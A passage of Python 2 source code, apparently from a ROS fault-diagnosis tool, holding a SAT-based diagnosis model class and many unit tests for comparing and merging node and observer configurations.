:return: deep copy of configuration
"""
return self.copy(self.config)
class Model(object):
def __init__(self, **options):
self.sat_engine_name = options.get('sat_solver', None)
self.check_problem = Problem(self.sat_engine_name)
self.comp_problem = self.check_problem
self.check_queries = 0
self.comp_queries = 0
self.queries = 0
self.options = options
options['separate_tp'] = options.get('separate_tp', False)
self.first_check_call = True
self.first_comp_call = True
self.previous_diagnoses = set()
self.last_max_card = 0
self.vars = {}
self.rules = []
self.nodes = []
self.real_nodes = []
def set_model(self, configs):
self.vars = {}
self.rules = []
self.nodes = []
self.real_nodes = []
topics_published_from_nodes = dict()
topics_subscribed_from_nodes = dict()
nodes_publish_topics = dict()
nodes_subscribe_topics = dict()
topics = set()
for node in configs.nodes:
node_name = node.name
self.real_nodes.append(node_name)
self.vars[node_name] = Variable(node_name, Variable.BOOLEAN, None)
self.vars[ab_pred(node_name)] = Variable(ab_pred(node_name), Variable.BOOLEAN, None)
for topic in node.pub_topic:
topics_published_from_nodes.setdefault(topic, []).append(node_name)
nodes_publish_topics.setdefault(node_name, []).append(topic)
for topic in node.sub_topic:
topics_subscribed_from_nodes.setdefault(topic, []).append(node_name)
nodes_subscribe_topics.setdefault(node_name, []).append(topic)
topics.update(node.pub_topic)
topics.update(node.sub_topic)
topics = list(topics)
configs.observers.append(observer_configuration(type="general", resource=topics))
for config in configs.observers:
new_vars, new_rules, new_nodes, new_real_nodes = generate_model_parameter(config,
topics_published_from_nodes,
topics_subscribed_from_nodes,
nodes_publish_topics,
nodes_subscribe_topics)
self.vars.update(new_vars)
self.rules += new_rules
self.nodes += new_nodes
self.real_nodes += new_real_nodes
self.nodes = self.real_nodes + self.nodes
def set_observations(self, observations):
"""
Write current observation into diagnosis model.
:param observations: Is a Tuple (name, value) where 'name' identifies the variable name
and 'value' describes the current situation for of the variable.
"""
for name, value in observations:
if name in self.vars.keys():
self.vars[name].value = value
else:
print 'A observation is unknown! It will be ignored by the model'
def set_options(self, **options):
self.options.update(options)
def is_real_node(self, node_name):
"""
Test if given node name is a real node or a generated node.
:param node_name: node name that should be tested
:return: True, if it is a real node name otherwise False
"""
if node_name in self.real_nodes:
return True
return False
def check_consistency(self, h):
"""
Calculate a conflict set by constraining the AB predicates depending
on a gates inclusion in h. These new sentences are added to the problem
and the SAT solver is started again. If it returns SAT, the hitting set
h is consistent, otherwise it returns UNSAT.
"""
if self.options['separate_tp']:
self.check_queries += 1
# if self.check_queries > 100:
self.check_queries = 0
self.check_problem.finished()
self.check_problem = Problem(self.sat_engine_name)
self.first_check_call = True
else:
self.queries += 1
# if self.queries > 100:
self.queries = 0
self.check_problem.finished()
self.check_problem = Problem(self.sat_engine_name)
self.comp_problem = self.check_problem
self.first_check_call = True
self.first_comp_call = True
if self.options['separate_tp'] and self.check_problem == self.comp_problem:
self.check_problem = Problem(self.sat_engine_name)
vars = self.vars.values()
rules = self.rules[:]
nodes = self.nodes[:]
# for all gates not in h set the AB predicate to false.
for node in set(nodes) - h:
rules.append(AbConstraint(node, False))
# get me an unsatisfiable core of AB predicates
r = self.comp_problem.solve(Description(vars, rules), calculate_unsat_core=False)
return r.sat()
def calculate_conflicts(self, h):
"""
Calculate a conflict set by constraining the AB predicates depending
on a gates inclusion in h. These new sentences are added to the problem
and the SAT solver is started again. This should return a new UNSAT
core, which is returned as new conflict set.
"""
if self.options['separate_tp']:
self.comp_queries += 1
# if self.comp_queries > 100:
self.comp_queries = 0
self.comp_problem.finished()
self.comp_problem = Problem(self.sat_engine_name)
self.first_comp_call = True
else:
self.queries += 1
# if self.queries > 100:
self.queries = 0
self.check_problem.finished()
self.check_problem = Problem(self.sat_engine_name)
self.comp_problem = self.check_problem
self.first_check_call = True
self.first_comp_call = True
vars = self.vars.values()
rules = self.rules[:]
nodes = self.nodes[:]
rules.append(PushSentence())
# for all gates not in h set the AB predicate to false.
for node in set(nodes) - h:
rules.append(AbConstraint(node, False))
# get me an unsatisfiable core of AB predicates
r = self.comp_problem.solve(Description(vars, rules), calculate_unsat_core=True)
if r.sat():
return None
else:
conflict = map(lambda x: x, r.get_unsat_core())
return frozenset(conflict)
def finished(self):
if self.check_problem:
self.check_problem.finished()
if self.comp_problem and self.check_problem != self.comp_problem:
self.comp_problem.finished()
class TestConfigurationValidation(unittest.TestCase):
def setUp(self):
pass
def test_compare_configs_1(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
self.assertTrue(ConfigurationValidation.compare_configs(config_a, config_b), "configs do not match!")
def test_compare_configs_2(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!")
def test_compare_configs_3(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!")
def test_compare_configs_4(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1a"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!")
def test_compare_configs_5(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1d"], sub_topic=[]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!")
def test_compare_configs_6(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1", "/topic3"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!")
def test_compare_configs_7(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1", "/topic3"], sub_topic=[]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!")
def test_compare_configs_8(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hza", resource=["/topic1"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!")
def test_compare_configs_9(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_b.observers.append(observer_configuration(type="hza", resource=["/topic1"]))
self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!")
def test_compare_configs_10(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1s"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!")
def test_compare_configs_11(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic1s"]))
self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!")
def test_compare_configs_12(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1", "/topic2"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!")
def test_compare_configs_13(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic1", "/topic2"]))
self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!")
def test_compare_configs_14(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_a.observers.append(observer_configuration(type="hz1", resource=["/topic1"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!")
def test_compare_configs_15(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_b.observers.append(observer_configuration(type="hz2", resource=["/topic1"]))
self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!")
def test_compare_configs_16(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
self.assertTrue(ConfigurationValidation.compare_configs(config_a, config_b), "configs do not match!")
def test_compare_configs_17(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic3"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!")
def test_compare_configs_18(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic3"]))
self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!")
def test_compare_configs_19(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!")
def test_compare_configs_20(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!")
def test_compare_configs_21(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_a.observers.append(observer_configuration(type="hzd", resource=["/topic2"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!")
def test_compare_configs_22(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_b.observers.append(observer_configuration(type="hzw", resource=["/topic1"]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
self.assertFalse(ConfigurationValidation.compare_configs(config_a, config_b), "configs should not match!")
class TestModelGenerator(unittest.TestCase):
def setUp(self):
pass
def test_set_config_1(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_result = configuration()
config_result.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
gen = ModelGenerator()
gen.set_config(config_a)
self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!")
def test_add_config_1(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node2", pub_topic=["/topic2"], sub_topic=[]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_result = configuration()
config_result.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_result.nodes.append(node_configuration(name="node2", pub_topic=["/topic2"], sub_topic=[]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
gen = ModelGenerator()
gen.set_config(config_a)
gen.add_config(config_b)
self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!")
def test_add_config_2(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic2"], sub_topic=[]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_result = configuration()
config_result.nodes.append(node_configuration(name="node1", pub_topic=["/topic1", "/topic2"], sub_topic=[]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
gen = ModelGenerator()
gen.set_config(config_a)
gen.add_config(config_b)
self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!")
def test_add_config_3(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_result = configuration()
config_result.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
gen = ModelGenerator()
gen.set_config(config_a)
gen.add_config(config_b)
self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!")
def test_add_config_4(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic2"], sub_topic=[]))
config_b.observers.append(observer_configuration(type="timeout", resource=["/topic2"]))
config_result = configuration()
config_result.nodes.append(node_configuration(name="node1", pub_topic=["/topic1", "/topic2"], sub_topic=[]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_result.observers.append(observer_configuration(type="timeout", resource=["/topic2"]))
gen = ModelGenerator()
gen.set_config(config_a)
gen.add_config(config_b)
self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!")
def test_add_config_5(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node2", pub_topic=["/topic1"], sub_topic=[]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_result = configuration()
config_result.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_result.nodes.append(node_configuration(name="node2", pub_topic=["/topic1"], sub_topic=[]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
gen = ModelGenerator()
gen.set_config(config_a)
gen.add_config(config_b)
self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!")
def test_add_config_6(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_a.nodes.append(node_configuration(name="node2", pub_topic=["/topic2"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_b = configuration()
config_b.observers.append(observer_configuration(type="timestamp", resource=["/topic2"]))
config_result = configuration()
config_result.nodes.append(node_configuration(name="node1", pub_topic=["/topic1"], sub_topic=[]))
config_result.nodes.append(node_configuration(name="node2", pub_topic=["/topic2"], sub_topic=[]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_result.observers.append(observer_configuration(type="timestamp", resource=["/topic2"]))
gen = ModelGenerator()
gen.set_config(config_a)
gen.add_config(config_b)
self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!")
def test_add_config_7(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic1", "/topic2"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node2", pub_topic=["/topic2"], sub_topic=[]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_b.observers.append(observer_configuration(type="timeout", resource=["/topic2"]))
config_result = configuration()
config_result.nodes.append(node_configuration(name="node1", pub_topic=["/topic1", "/topic2"], sub_topic=[]))
config_result.nodes.append(node_configuration(name="node2", pub_topic=["/topic2"], sub_topic=[]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_result.observers.append(observer_configuration(type="timeout", resource=["/topic2"]))
gen = ModelGenerator()
gen.set_config(config_a)
gen.add_config(config_b)
self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!")
def test_add_config_8(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=[], sub_topic=["/topic1"]))
config_a.nodes.append(node_configuration(name="node3", pub_topic=["/topic1"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node4", pub_topic=["/topic2"], sub_topic=[]))
config_b.nodes.append(node_configuration(name="node2", pub_topic=[], sub_topic=["/topic2"]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_result = configuration()
config_result.nodes.append(node_configuration(name="node3", pub_topic=["/topic1"], sub_topic=[]))
config_result.nodes.append(node_configuration(name="node4", pub_topic=["/topic2"], sub_topic=[]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
gen = ModelGenerator()
gen.set_config(config_a)
gen.add_config(config_b)
self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!")
def test_add_config_9(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=[], sub_topic=["/topic1"]))
config_a.nodes.append(node_configuration(name="node2", pub_topic=["/topic1"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_a.observers.append(observer_configuration(type="activated", resource=["node1"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node3", pub_topic=["/topic2"], sub_topic=[]))
config_b.nodes.append(node_configuration(name="node1", pub_topic=[], sub_topic=["/topic2"]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_result = configuration()
config_result.nodes.append(node_configuration(name="node1", pub_topic=[], sub_topic=["/topic1", "/topic2"]))
config_result.nodes.append(node_configuration(name="node2", pub_topic=["/topic1"], sub_topic=[]))
config_result.nodes.append(node_configuration(name="node3", pub_topic=["/topic2"], sub_topic=[]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_result.observers.append(observer_configuration(type="activated", resource=["node1"]))
gen = ModelGenerator()
gen.set_config(config_a)
gen.add_config(config_b)
self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!")
def test_add_config_10(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node2", pub_topic=["/topic1"], sub_topic=[]))
config_a.nodes.append(node_configuration(name="node1", pub_topic=[], sub_topic=["/topic1"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node1", pub_topic=[], sub_topic=["/topic1"]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_result = configuration()
config_result.nodes.append(node_configuration(name="node2", pub_topic=["/topic1"], sub_topic=[]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
gen = ModelGenerator()
gen.set_config(config_a)
gen.add_config(config_b)
self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!")
def test_add_config_11(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=[], sub_topic=["/topic1"]))
config_a.nodes.append(node_configuration(name="node2", pub_topic=["/topic1"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic2"], sub_topic=[]))
config_b.observers.append(observer_configuration(type="timeout", resource=["/topic2"]))
config_result_a = configuration()
config_result_a.nodes.append(node_configuration(name="node1", pub_topic=["/topic2"], sub_topic=[]))
config_result_a.nodes.append(node_configuration(name="node2", pub_topic=["/topic1"], sub_topic=[]))
config_result_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_result_a.observers.append(observer_configuration(type="timeout", resource=["/topic2"]))
gen = ModelGenerator()
gen.set_config(config_a)
gen.add_config(config_b)
self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result_a), "configs do not match!")
config_c = configuration()
config_c.nodes.append(node_configuration(name="node1", pub_topic=[], sub_topic=["/topic1"]))
config_result_b = configuration()
config_result_b.nodes.append(node_configuration(name="node1", pub_topic=["/topic2"], sub_topic=["/topic1"]))
config_result_b.nodes.append(node_configuration(name="node2", pub_topic=["/topic1"], sub_topic=[]))
config_result_b.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_result_b.observers.append(observer_configuration(type="timeout", resource=["/topic2"]))
gen.add_config(config_c)
self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result_b), "configs do not match!")
def test_add_config_12(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=[], sub_topic=["/topic1"]))
config_a.nodes.append(node_configuration(name="node3", pub_topic=["/topic1"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node2", pub_topic=["/topic2"], sub_topic=["/topic1"]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_result = configuration()
# config_result.nodes.append(node_configuration(name="node1", pub_topic=[], sub_topic=["/topic1"]))
config_result.nodes.append(node_configuration(name="node2", pub_topic=["/topic2"], sub_topic=["/topic1"]))
config_result.nodes.append(node_configuration(name="node3", pub_topic=["/topic1"], sub_topic=[]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
gen = ModelGenerator()
gen.set_config(config_a)
gen.add_config(config_b)
self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!")
def test_add_config_13(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node1", pub_topic=[], sub_topic=["/topic1"]))
config_a.nodes.append(node_configuration(name="node2", pub_topic=[], sub_topic=["/topic2"]))
config_a.nodes.append(node_configuration(name="node3", pub_topic=["/topic1", "/topic2"], sub_topic=[]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_b = configuration()
config_b.observers.append(observer_configuration(type="timestamp", resource=["/topic2"]))
config_result = configuration()
# config_result.nodes.append(node_configuration(name="node1", pub_topic=[], sub_topic=["/topic1"]))
# config_result.nodes.append(node_configuration(name="node2", pub_topic=[], sub_topic=["/topic2"]))
config_result.nodes.append(node_configuration(name="node3", pub_topic=["/topic1", "/topic2"], sub_topic=[]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_result.observers.append(observer_configuration(type="timestamp", resource=["/topic2"]))
gen = ModelGenerator()
gen.set_config(config_a)
gen.add_config(config_b)
self.assertTrue(ConfigurationValidation.compare_configs(gen.config, config_result), "configs do not match!")
def test_add_config_14(self):
config_a = configuration()
config_a.nodes.append(node_configuration(name="node3", pub_topic=["/topic1", "/topic2"], sub_topic=[]))
config_a.nodes.append(node_configuration(name="node1", pub_topic=[], sub_topic=["/topic1", "/topic2"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
config_a.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_b = configuration()
config_b.nodes.append(node_configuration(name="node2", pub_topic=[], sub_topic=["/topic2"]))
config_b.observers.append(observer_configuration(type="hz", resource=["/topic2"]))
config_b.observers.append(observer_configuration(type="timeout", resource=["/topic2"]))
config_b.observers.append(observer_configuration(type="activated", resource=["node2"]))
config_result = configuration()
# config_result.nodes.append(node_configuration(name="node1", pub_topic=[], sub_topic=["/topic1", "/topic2"]))
config_result.nodes.append(node_configuration(name="node2", pub_topic=[], sub_topic=["/topic2"]))
config_result.nodes.append(node_configuration(name="node3", pub_topic=["/topic1", "/topic2"], sub_topic=[]))
config_result.observers.append(observer_configuration(type="hz", resource=["/topic1"]))
